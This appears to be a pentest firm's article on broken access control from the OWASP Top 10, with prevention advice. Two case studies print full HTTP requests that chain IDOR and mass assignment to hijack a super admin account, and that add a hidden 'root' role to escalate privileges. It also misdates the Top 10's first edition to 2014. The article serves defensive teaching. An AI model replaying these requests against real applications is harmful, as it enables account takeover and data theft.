The Open Web Application Security Project (OWASP) is a community working to improve the security of information systems and more specifically applications (web, mobile, APIs).
This organisation produces numerous resources, in particular guides and standards for application security, including the OWASP Top 10. It also develops open source tools such as ZAP (an interception proxy, an alternative to BURP), or Amass (to map its attack surface).
What is the OWASP Top 10?
The OWASP Top 10 provides a ranking of the 10 most critical risks and vulnerabilities for web application security.
Since the first version in 2014, this top 10 has evolved with a new version in 2017 and a last one published in 2021. The objective: to adapt to the new challenges related to web application development and the evolution of the risk landscape.
Below is a comparative analysis of the OWASP Top 10 2021 and the previous version of 2017:
In this article, we review the most critical vulnerability in web applications according to the OWASP Top 10: broken access control. Using attack scenarios from web penetration tests, we detail common exploits as well as best practices, fixes and measures to implement to strengthen access control security.
Access control, a critical mechanism
Access control can be summed up in one injunction: to ensure that users of a system act strictly within the scope of the authorisations provided, because, in the event of failure, an attacker (authenticated or not) could steal, modify or destroy sensitive data.
In the context of web applications, access control depends on authentication to identify a user, and sessions to identify HTTP requests made by the same user.
In short, access control is a mechanism for determining and verifying a user’s role and permissions on a system.
In fact, managing access controls is a central issue and a complex problem. On the one hand, it must take into account organisational constraints for an operational technical implementation in compliance with the regulations (“GDPR” and data protection). On the other hand, access control must be secure to face sophisticated attacks exploiting technical and/or human failures.
What are the different types of access control?
From a user’s perspective, access controls can be divided into the following categories: vertical, horizontal or contextual access controls.
Firstly, vertical access controls:
These are mechanisms that limit access to sensitive functionality via well-defined roles on the system (e.g. administrators and different user groups). And in this case, a standard user should not be able to access an administrator’s data and perform actions outside the scope of his or her duties.
Then, horizontal access controls:
Here it is a question of limiting access to certain resources to users who are specifically authorised to access them. Thus, within the same group of users (let’s imagine an accounting department), user A will have access to a subset of resources X, inaccessible to user B, but who will have access to another subset of resources Y, inaccessible to A.
Finally, contextual access controls:
These allow access to features and resources to be restricted based on the state of the application or the user’s interaction with it.
What are the most common broken access control vulnerabilities?
Before getting to the heart of the matter, it should be noted that privilege escalation or account theft are very often the main objectives of an attacker targeting a web application. To do this, several exploits are possible.
Exploitation of IDOR vulnerabilities and account theft
An IDOR (Insecure Direct Object Reference) vulnerability occurs when a direct reference to an object can be controlled by a user.
Let’s take a concrete case to present an example of exploitation of this type of vulnerability, linked to the lack of rights control on a system.
Indeed, during a web penetration test, we identified an IDOR that we exploited by taking advantage of another “Mass Assignment” type vulnerability. This allowed us to modify the email of a super administrator and take control of his account.
Let’s look at this exploitation in more detail:
Grey box pentest of a SaaS application
During this pentest, we were in grey box with a test user account.
Note that the application did not allow the user to change any personal information except the password. And when the password was changed, a response returned the new password hashed in MD5 with the ID of the user making the request.
Discovery of an IDOR vulnerability
To discover a potential IDOR vulnerability, the first thing that comes in mind is to change the user ID in the request.
However, in our case, the application rejected the new password because the request ID did not match the user making the request.
Initial request with password change:
POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 134
Origin: https://******************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"table":"users"
,"row":[{
"id":"1","fields":{
"pwd":"****"
}}],
"token":"{TOKEN}","lang":"fr_fr"}
Response:
HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:10:26 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"23-W17/Ldl+nSKq7yJh8+kT5FyKXwg"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
{"response":"ERROR","id":"ERROR"}
For a “standard” IDOR test, we could have stopped here. However, the query also contains a parameter named table
.
Discovery of a Mass Assignment vulnerability
This table parameter is directly reminiscent of a database object. This may mean that the application can create a user object from the data entered on the front end (without checking the attributes submitted) in order to store it in the database on the back end. This type of problem is called “Mass Assignment”.
Based on this observation, our second idea was to try to modify the name, first name and email of our user (id: 23), an action that is impossible via the interface.
Request with Mass Assignment:
POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 191
Origin: https://**********************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{
"table": "users",
"row": [
{
"id": "23",
"fields": {
"email": "[email protected]",
"lastname": "test",
"firstname": "test"
}
}
],
"token": "{TOKEN}",
"lang": "fr_fr"
}
Response:
HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:13:35 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"1a-QdvNE37uxzc4r5RtHUBGtpuqv10"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
{"response":"OK","id":"23"}
As we can see, the application has accepted our request and our user has just been modified.
IDOR exploitation via request with Mass Assignment
Finally, we will combine the last request with the test of a classic IDOR by targeting user number 1, which in the case of this application is the super admin.
Request:
POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 191
Origin: https://**********************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{
"table": "users",
"row": [
{
"id": "1",
"fields": {
"email": "[email protected]",
"lastname": "test",
"firstname": "test"
}
}
],
"token": "{TOKEN}",
"lang": "fr_fr"
}
Response:
HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:13:35 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"1a-QdvNE37uxzc4r5RtHUBGtpuqv10"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
{"response":"OK","id":"1"}
So now we have the super admin account using an email address under our control. All we have to do is make a password reset request for this new email and the account is ours.
Fixing the vulnerability
It is important to note that here, a security measure is already in place with a block on password change attempts, which does not allow the exploitation of a trivial IDOR.
However, the developers have omitted the possibility of modifying emails, which is impossible on the front end but feasible given the way objects are saved in the back end, which allows the exploitation of this vulnerability.
In order to fix this vulnerability, two actions (recommended in the pentest report) should be implemented:
- To prevent the IDOR vulnerability: control the level of privilege of the user making the request. If not a super admin, only allow the requesting user to change their password.
- To fix the Mass Assignment vulnerability: do not instantiate the user object directly with the data submitted in the request. Instantiate the user object in a controlled manner using a function that retrieves only the expected data and create the object from it.
Parameter manipulation and privilege escalation
Permissions management is a sensitive feature in a web application. If poorly implemented, critical vulnerabilities can be exploited.
Let’s take the following concrete case encountered during another web penetration test.
The tested application was separated into different organisations, each of which had at least one ‘administrator’ account.
In short, an administrator could manage the permissions of each user in his or her organisation by granting them the roles associated with their job.
The first test we performed on this feature was to test privilege escalation from a test admin account.
We replayed the request to change permissions (previously done with an admin account) with a “User” account. The right check was well implemented and the request was denied by the server.
Looking at the request, several parameters looked interesting.
PUT /api/user/86/ HTTP/2
Cookie: auth_token=TOKEN
Content-Length: 122
{"id":86,"first_name":"Prenom","last_name":"Nom",
"is_superuser":false,
"is_staff":false,"groups":["user"]}
So we modified the userID (which is an incremental ID), including the is_superuser
and is_staff
parameters, but none of these led to a right control problem.
Instead, the vulnerable parameter was groups
, which corresponded to the permissions we wanted to grant to a user.
In this parameter, we could insert 5 different values that we saw in the user interface.
And thanks to the access to the source code that was provided to us for this white-box pentest, we were able to know all the roles that existed. This allowed us to discover the root
role, which was used internally by the developers. We then added this value to the groups
parameter.
PUT /api/user/86/ HTTP/2
Cookie: auth_token=TOKEN
Content-Length: 122
{"id":86,"first_name":"Prenom","last_name":"Nom",
"is_superuser":false,
"is_staff":false,"groups":["user",”root”]}
There was no control over the values of the groups parameter and so we changed from an “admin” user to a “superAdmin” user.
From then on, we had access to all the users on the platform (even those who were not in our organisation), with the ability to modify and delete them.
Note that being white-boxed made it easy to discover this vulnerability, although it would have been possible to find out what roles existed by examining the JavaScript code loaded in the browser.
To fix this critical vulnerability, the recommendation in the report was simply to perform a check on the values passed in “groups” and the user making the request.
What are the main security measures to prevent broken access control?
Before getting into the heart of the matter, an important clarification: access control is only effective if it is performed on the server side, where the attacker cannot modify the verification or the metadata.
In addition, the other essential elements are the following (non-exhaustive list):
During development:
- Declare authorised access at the code level for each resource and deny access by default.
- Centralise the implementation of access control mechanisms and reuse them throughout the application.
- Disable directory listing on the web server.
- To prevent unauthorised access: ensure that all pages of the application (with restricted access) have authentication and rights control (when a direct reference to an object – ID – is made for example).
In the global cybersecurity strategy:
- Never rely solely on security through obscurity for access control.
- Document failed access attempts by implementing a logging and monitoring process.
- Assign access rights using the principle of least privilege.
The principle of least privilege: a key measure to secure access
The principle of least privilege consists of granting each user, application or service only the privileges necessary to perform a required task. In other words, it means blocking access to all resources by default and allowing only what is necessary for a user or system.
This security principle aims to minimise risks by limiting the impact of an attack or human error. Indeed, individualising and restricting user access not only reduces the risk of data leaks but also mitigates the risk of a user account being compromised by preventing lateral movement.
Indeed, if an attacker spoofs a user’s identity, he will certainly be able to extract data or perform actions in the targeted application, but these will be limited to the data and functionalities to which the victim user has access.
Implement rate limiting to control requests sent server-side
Rate limiting is an essential mechanism for limiting the amount of requests a user can send to the server. In the context of access control, it does not prevent the discovery of vulnerabilities, but can reduce the probability of exploitation by blocking brute force attempts by an attacker, for example.
For more information, you can check our article: What is Rate Limiting? How it works and implementation techniques.
Performing a web penetration test for access control security
Web applications are particularly attractive targets because they are often vulnerable. Therefore, implementing secure development practices is essential to avoid programming and configuration errors.
However, to ensure the resistance of an application to attacks that may exploit technical, logical or even human flaws (social engineering), a pentest remains a key step.
Indeed, the aim is to simulate an attack in order to evaluate the effectiveness of security controls while highlighting the risks posed by exploitable vulnerabilities. On a web application, the aim is to identify and exploit vulnerabilities on the server side and on the application layer.